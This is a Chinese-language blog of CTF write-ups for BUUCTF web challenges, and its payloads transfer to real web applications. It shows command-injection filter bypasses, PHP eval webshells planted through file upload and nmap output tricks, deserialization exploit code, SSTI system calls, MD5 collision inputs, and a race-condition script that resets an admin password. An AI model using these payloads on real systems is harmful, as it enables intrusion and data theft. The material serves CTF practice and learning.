BUU
本文最后更新于:1 年前
BUU题记
[GXYCTF2019]Ping Ping Ping
1|ls
//index.php flag.php
空格(space)过滤,$IFS$1 绕过 ($1改成$加其他数字貌似都行)
1|cat$IFS$1index.php
ban了较多字符,并贪婪匹配flag,尝试变量拼接
1;a=g;cat$IFS$1fla$a.php
//get flag
//几种错误尝试
//——*f*l*a*g*——正则匹配将其过滤,仅需改变顺序即可——
1;a=fla;cat$IFS$9$ag.php
1;a=f;b=l;c=a;d=g;cat$IFS$9$a$b$c$d.php
管道符 |
- 多命令执行符
; 执行完前面的语句再执行后面的语句
| 显示后面语句的执行结果
|| 当前面的语句执行出错时,执行后面的语句
& 如果前面的语句为假则执行后面的语句,前面的语句可真可假
&& 如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真
空格(space)过滤
{cat,flag.txt}
${IFS}
$IFS$9
<
<>
%0a (换行)
%0d(回车)
%00
%09
%20
解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。
《dalao博客》:https://blog.csdn.net/weixin_39808803/article/details/111341667
过滤bash用sh执行
//官方payload
/?ip=127.0.0.1;echo$IFS\$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联执行
内联执行将反引号内命令的输出作为输入执行
/?ip=1;cat$IFS$1`ls`
[RoarCTF 2019]Easy Calc
calc() CSS中的计算函数
查看源码,一个前端过滤
访问calc.php
//扫根目录--->f1agg
/calc.php/?num=var_dump(scandir(chr(47)))
// /f1agg-->chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
//get flag
/calc.php/? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
前端过滤–变量名前加空格–PHP解析时先将变量的空格去除
为什么要在num前加一个空格?
答:假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
PHP的字符串解析特性是什么?
答: PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
【当waf不让你过的时候,php却可以让你过】
var_dump(scandir(\))读取根目录
file_get_contents()读文件
HTTP请求走私
先上大佬博客:https://blog.csdn.net/qq_37865996/article/details/102529396
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
…………………..
[极客大挑战 2019]PHP
备份网站—>www.zip--->下载源码
index.php
class.php
思路:
1.类销毁时,username=admin,password=100,输出flag
2.$select= (实例化Name类->赋值->序列化->绕过_wakeup魔术方法)
3.$select仅为一个字符串,$res相当于waf
4.当$res销毁时,输出flag
exp
<?php
class Name{
private $username='admin';
private $password='100';
}
$a=new Name();
$b=serialize($a); //修改变量个数,在每个类名和字段名前加%00
print_r($b);
//进行url编码,防止%00对应的不可打印字符在复制时丢失
$c=urlencode(serialize($a)); //修改变量个数
print_r($c);
public、protected与private在序列化时的区别
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
public无标记,变量名不变,长度不变
protected在变量名前添加标记\00*\00,长度+3
private在变量名前添加标记\00(classname)\00,长度+2+类名长度
_wakeup绕过方法
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
//将变量个数2->3
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
贴上大佬博客:https://blog.spoock.com/2016/11/03/php-wakeup/
[ACTF2020 新生赛]BackupFile
get 备份文件—> index.php.bak
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { //需要绕过数字判断
exit("Just num!");
}
$key = intval($key); //获取整数值
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) { //弱类型比较 将$str转换为int型再进行比较 => $str=123
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
payload:
/?key=123
常见备份文件泄露
.rar .zip .7z .tar.gz .bak .swp .txt .html
PHP弱类型比较
//字符串与数字比较,转换为数字
//看字符串开头
//123admin–>123
//admin123–>0
///字符串以xex开头(x表示数字),会被转换为科学计数法
[护网杯 2018]easy_tornado
tornado—python框架
简单了解了一下ssti原理,
SSTI链接
SSTi 学习
SSTI/沙盒逃逸详细总结
简单来说, 当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))
flag在/fllllllllllllag
render--模板注入
filehash算法
思路:
- 寻找注入点
- 获取cookie_secret值
- 构造exp,get flag
/file?filename=/flag.txt&filehash=e50a4209e8ef4fa0a665b4dfbdc26e37
只改filename,不改filehash--->报错
/error?msg=Error
尝试确定模板注入点--->回显3
/error?msg={{3}}
查阅tornado文档(:并没有)
[附上链接 ](https://tornado-zh.readthedocs.io/zh/latest/web.html)
获取cookie_secret值
构造exp
import hashlib
hash = hashlib.md5()
filename = '/fllllllllllllag'
cookie_secret = "4c12a8c3-8fe6-4182-b095-22e50cf34ac72"
hash.update(filename.encode('utf-8'))
s1 = hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
render()函数进行服务器端渲染
tornado—RequestHandler
[HCTF 2018]admin
第一遍做忘了审计源码…甚至没注意到标题…没一点思路:)
界面:
login/register
index/post/change password/logout
先
- 登录/未登录的index
提示需要admin登录,貌似admin登录成功拿flag
- change password
给出了题目源码
审计源码 !!!
正确打开方式:弱口令
username:admin
password:123
Unicode欺骗 nodeprep.prepare()
(规范标识符的常用方法是将所有内容都转换为小写)
问题出在处理关键字符”username”上,处理”username”的函数是自定义的函数strlower()
nodeprep.prepare()因版本差距过大,存在漏洞
简单来说:
ᴀ -> A -> a
(未能找到相关文章…全部404了)
具体编码可查 :https://unicode-table.com/en/search/?q=small+capital
假如我们注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录,因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名为ADMIN,此时我们再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin,然后我们就可以改掉admin的密码,最后利用admin账号登录即可拿到flag。
flask session伪造
……
条件竞争
在session赋值时,登录、注册都是直接进行赋值,未进行安全验证,也就可能存在以下一种可能:
我们注册一个用户test,现在有一个
进程1一直重复进行登录、改密码操作,
进程2一直注销,且以admin用户和进程1所改的密码进行登录,
是不是有可能当进程1进行到改密码操作时,进程2恰好注销且要进行登录,此时进程1改密码需要一个session,而进程2刚好将session[‘name’]赋值为admin,然后进程1调用此session修改密码,即修改了admin的密码。
(理论可行,未能打通)
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://f48fd9d2-a071-4e9a-a39c-bf715bf7abad.node4.buuoj.cn:81//login", data=data)
def logout(s):
return s.get("http://f48fd9d2-a071-4e9a-a39c-bf715bf7abad.node4.buuoj.cn:81//logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://f48fd9d2-a071-4e9a-a39c-bf715bf7abad.node4.buuoj.cn:81//change", data=data)
def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec')
def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
[BJDCTF2020]Easy MD5
检索源码,无有效信息,联想标题,sql md5—>ffifdyop
检索源码,得到一个md5的弱类型比较
//弱类型比较,md5值只要为0e开头,就能绕过waf
?a=QNKCDZO&b=aabg7XSs
//md5()无法处理数组,得到(000!=111&&error=error)
?a[]=000&b[]=111
得到md5强类型比较
//同样可以用上面的数组进行绕过
param1[]=1¶m2[]=0
//或者进行真实匹配,值不等,md5相等即可
param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2¶m2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
—>得到flag
MD5比较
1.弱类型比较
if ($_POST['a'] != $_POST['b'] && md5($_POST['a']) == md5($_POST['b']))
弱类型比较因为php特性,在比较时先将string转换为int型,0e开头会被识别为科学计数法,结果0=0 比较成功
payload:
a=QNKCDZO&b=aabg7XSs
只要是md5值为0e开头即可
2.强类型比较
if ($_POST['a'] !== $_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
强类型比较用数组绕过,md5()函数无法解出其数值,就会得到(0===0)强比较值相等
payload:
a[]=111&b[]=aaa
传入数组即可
3.真实碰撞
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
真实md5碰撞,由于string()函数,不能输入数组只能输入字符串
payload:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
值不等,md5相等即可。md5碰撞。
4.0e开头MD5的MD5为0e的MD5
0e215962017
标明出处:https://err0r.top/article/md5/
[ZJCTF 2019]NiZhuanSiWei
读取源码,无有效信息—>useless.php
//绕过第一个if
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
//读取useless.php文件内容
&file=php://filter/read=convert.base64-encode/resource=useless.php
//构造序列化类
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$get= new Flag();
$get->file="flag.php";
print_r(serialize($get));
?>
当$file变量被当作字符串$password使用时,__tostring()方法自动调用,--get flag.php
--->password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
--->get flag
文件包含–php伪协议
详–>https://opn90.top/2021/10/27/PHP-ways/
php __tostring()
当一个对象被当作字符串对待的时候,会触发这个魔术方法
[MRCTF2020]你传你🐎呢
《一键去世》
fuzz了一下,只有php文件后缀被ban
传码
<?@eval($_POST['a']);?>
上传成功
1.上传.htaccess配置文件
AddType application/x-httpd-php .jpg
抓包,将Content-Type改为image/png,绕过过滤—>上传成功
用蚁剑连1.png文件
根目录下get flag
2.上传.user.ini文件
需要在同一目录下存在php文件
.htaccess
将所有.jpg为后缀的文件作为php文件解析
[网鼎杯 2020 青龙组]AreUSerialz
反序列化
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() { //初始化
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() { //判断op的值 op=1--->写 op=2--->读
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() { //写文件
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) { //限制content长度
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content); //将content输入到filename文件当中
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() { //返回 filename 的内容
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) { //打印变量
echo "[Result]: <br>";
echo $s;
}
function __destruct() { //实例销毁 2->1 content 置空 ---> process
if($this->op === "2")
$this->op = "1";
$this->content = ""; /////===>需对content置空进行绕过
$this->process();
}
}
function is_valid($s) { //限制字符在32-125之间
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
代码逻辑:
1.在对象obj销毁时执行函数__destruct(),进行对服务器文件的读写
2.绕过__destruct()函数的,2的强比较,对content置空
3.设置op的值,1/2,对服务器文件进行读/写
卡了…没看到
include("flag.php");
发现不需要写文件,只要读取就可以了…
构造exp
///为op赋值2读取文件
<?php
class FileHandler
{
public $op=2;
public $filename="flag.php";
public $content="111";
}
$hel=new FileHandler();
print_r(serialize($hel));
强弱类型比较
$this->op === "2" || $this->op == "2"
$this->op === "2"
强类型, $op=2 , $op="2" int类型,不同于string,绕过
弱类型, $op="2" 绕过
参数类型的解释
对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。
[MRCTF2020]Ez_bypass
给源码的简单绕waf
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
GET
?id[]=1&gg[]=2
POST
passwd=1234567a
[GXYCTF2019]BabyUpload
waf: 后缀名不能有ph、过滤png文件、存在内容php类型的过滤
php短标签
上传变种一句话,jpg文件
.htaccess配置文件
上传.htaccess配置文件,将目录下的jpg文件当作php文件解析
连接蚁剑,根目录下拿flag
[RoarCTF 2019]Easy Java
java…先放一放
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
//escapeshellarg与escapeshellcmd使用不当
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
//创建sandbox 并使用目录
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
//利用点
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚
nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
构造payload
'<?php eval($_POST["a"]);?> -oG 1.php '
escapeshellarg--->先将'转义,然后进行前后分段'闭合
''\''<?php eval($_POST["a"]);?> -oG 1.php '\'''
escapeshellcmd--->先将\等字符进行转义,然后对不配对的'进行转义
''\\''\<\?php eval\(\$_POST\["a"\]\)\;\?\> -oG 1.php '\\'''
构造payload,给沙盒地址,连蚁剑,get flag
细节处理
escapeshellarg与escapeshellcmd使用不当
[BJDCTF2020]The mystery of ip
进入界面显示本地IP地址
抓包,发X-Forwarded-For,改变显示
尝试sql注入,无果(down了)
尝试ssti模板注入,有回显,且无过滤
payload:
{{system('ls')}}
{{system('ls /')}}
//get flag
{{system('cat /flag')}}
…知识面还是不够广,容易宕机…
[GXYCTF2019]禁止套娃
.git文件泄露
用GitHack down下所泄露的文件
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析源码
1.ban了data、filter、php、phar常用伪协议
2.很经典的正则匹配无参数RCE,(?R)?表示的是引用当前表达式一次或多次。有效的payload形式是令函数作为参数 套娃:a(b())
传入的参数只能包括小写字母、下划线、逗号、括号,还要以;结尾
3.ban掉了一些关键字
无参数RCE
1.先读取目录
//读取当前目录--->flag.php index.php
print_r(scandir(pos(localeconv())));
2.读文件
//
show_source(next(array_reverse(scandir(pos(localeconv())))));
其他解法(session_id()实现任意文件读取)
…(没完全看懂,就不写了)
https://www.cnblogs.com/LLeaves/p/12868440.html
[GWCTF 2019]我有一个数据库
鎴戞湁涓€涓暟鎹簱锛屼絾閲岄潰浠€涔堜篃娌℃湁~
涓嶄俊浣犳壘
…
—>robots.txt—>Disallow: phpinfo.php—>不会分析 down
—>扫一下—>phpmyadmin…
…
CVE-2018-12613 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞
https://www.xiinnn.com/article/e7c68814.html
payload:
//抄作业
phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag
[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
审计源码
伪协议绕过
/?text=data://text/plain,I+have+a+dream&file=php://filter/read=convert.base64-encode/resource=next.php
读出next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {//$re参数的key,$str就是参数的value
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace() /e 模式下的代码漏洞问题
附上博客:http://www.xinyueseo.com/websecurity/158.html
附上博客:http://www.lmxspace.com/2018/08/12/%E4%B8%80%E4%B8%AA%E6%9C%89%E8%B6%A3%E7%9A%84preg-replace%E5%87%BD%E6%95%B0/
附上博客:https://xz.aliyun.com/t/2557
preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行
php5.5.0 后/e 修饰符已经被弃用了
正则匹配的 反向引用
对一个正则表达式模式或部分模式,两边添加圆括号,将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数
strtolower(“\1”)
所以这里的 1 实际上指定的是第一个子匹配项
附上博客:http://www.xinyueseo.com/websecurity/158.html
附上博客:http://www.lmxspace.com/2018/08/12/%E4%B8%80%E4%B8%AA%E6%9C%89%E8%B6%A3%E7%9A%84preg-replace%E5%87%BD%E6%95%B0/
附上博客:https://xz.aliyun.com/t/2557
PHP:当非法字符为首字母时,只有点号会被替换成下划线
这里解释下用\S*而不是用.*的原因:
因为在php中,对于传入非法的$_GET参数名,会将其转换为下划线,导致正则匹配失效
所以我们只能使用\S*或者\S%2b来进行构造payload
payload
?\S*=${getFlag()}&cmd=system('cat /flag');
[网鼎杯 2020 朱雀组]phpweb
index.php 存在php报错
分析源码,抓包
func=&p=
获取两个上传变量,猜测后端语句
$func($p);
尝试直接执行系统命令,回显hacker…,尝试执行其他函数,读文件获取相关信息,报错
call_user_func() expects parameter 1 to be a valid callback, function 'xxx' not found or invalid function name in /var/www/html/index.php on line 24
更新猜测
call_user_func($func,$p);
读取源码
func=file_get_contents&p=index.php
部分源码
$disable_fun={...}
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
尝试寻找函数绕过…ban 的有点多
发现(无用)类Test,没有ban serialize,其销毁方法也调用了执行函数,尝试反序列化
exp
<?php
class Test {
var $p = "ls /";
var $func = "system";
}
$a= new Test();
print_r(serialize($a));
find / -name flag*
找到一堆…
在/tmp/flagoefiu4r93中..
payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
call_user_func()
[强网杯 2019]高明的黑客
/www.tar.gz
下载源码
用D盾扫出了一堆…
写脚本遍历危险函数,测试可用性,确定利用点
import os
import re
import requests
import threading
dirr = ''
files = os.listdir(dirr) # 获取文件夹下的文件
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])') # 设置正则匹配
def thread1():
for i in files: # 循环文件
print("----------------------", i)
url = "" # url (docker适配的php版本)
f = open(dirr + i) # 打开这个文件
data = f.read() # 读取文件内容
f.close() # 关闭文件
result = reg.findall(data) # 从文件内容中找到GET请求
for j in result: # 循环GET参数
payload = url + i + "?" + j + "=echo+123456" # 尝试请求次路径,并执行命令
print(payload)
html = requests.get(payload)
if "123456" in html.text:
print("*****************************", payload)
exit(1)
p1 = threading.Thread(target=thread1())
p1.start()
尝试多进程加速
有亿点丑,但有效
编码能力还需要改进
import os
import re
import time
import requests
import threading
dirr = ''
files1 = os.listdir(dirr) # 获取文件夹下的文件
files2 = os.listdir(dirr) # 获取文件夹下的反序文件
files2.sort()
files2.reverse()
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])') # 设置正则匹配
def thread1(files, a):
for i in files: # 循环文件
if a == 1:
print("1111111----------------------", i)
elif a == 2:
print("2222222----------------------", i)
url = "" # url (docker适配的php版本)
f1 = open(dirr + i) # 打开这个文件
data = f1.read() # 读取文件内容
f1.close() # 关闭文件
result = reg.findall(data) # 从文件内容中找到GET请求
for j in result: # 循环GET参数
payload = url + i + "?" + j + "=echo+123456" # 尝试请求次路径,并执行命令
print(payload)
html = requests.get(payload)
if "123456" in html.text:
print("*****************************", payload)
exit(1)
p1 = threading.Thread(target=thread1, args=(files1, 1))
p2 = threading.Thread(target=thread1, args=(files2, 2))
p1.start()
p2.start()
payload
/xk0SzyKwfzw.php?Efa5BVG=cat+/flag
python 不可变对象
可变对象–字典,集合,列表
共用一个地址
不可变对象–数字,字符串,元组,不可变集合
[BJDCTF2020]Mark loves cat
(一个做的很不错的前端)
发现 ?message= 和界面最后的 dog
审计源码,尝试sql、ssti,无果
.git文件泄露
GitHack
down 不下index.php 和 flag.php…(不知道为啥..还重装了两遍)
exit($) 输出一条消息并退出当前脚本
php 变量覆盖
—> index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
//get handsome=flag
//$yds=$flag
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //这个if绕不过去-->无法输出$handsome-->$handsome!=flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //尝试变量yds--->get flag--->game over
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //...get is=flag&flag=flag
exit($is);
}
echo "the flag is: ".$flag;
—>flag.php
<?php
$flag = file_get_contents('/flag');
payload
?yds=flag
//
?is=flag&flag=flag
[BSidesCF 2020]Had a bad day
选择按钮,展示图片,url–>?category=
猜测为include,尝试伪协议
php://filter/read=convert.base64-encode/resource=index.php
报错
php://filter/read=convert.base64-encode/resource=index
读到index,仅截取php部分
<?php
$file = $_GET['category'];
if(isset($file))
{
//判断woofers/meowers/index在$file中第一次出现的位置--->尝试绕过strops/构造payload
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
尝试读/flag、ls、eval…
html下flag.php…
strpos() 查找字符串在另一字符串中第一次出现的位置
路径拼接读当前目录语句 index/../flag
payload
php://filter/read=convert.base64-encode/resource=index/../flag
[安洵杯 2019]easy_web
url–>index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
TXpVek5UTTFNbVUzTURabE5qYz0
两次base64解码—>十六进制转字符串—>555.png
同理
index.php
字符串转十六进制—>两次base64编码—>得到index.php的base64
得到index.php源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
md5真实碰撞,翻博客…
ls过滤用dir
…才知道…
dir 当前目录下无 flag
dir+/
根目录下flag
特殊字符的使用
ca\t 后面的\t会成为 TAB 而绕过
payload
ca\t+/flag
[NCTF2019]Fake XML cookbook
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
抓包…没见过…
<user><username>1</username><password>1</password></user>
测试sql无回显,尝试xss, 无果
—>XXE—XML外部实体注入
XXE—XML外部实体注入
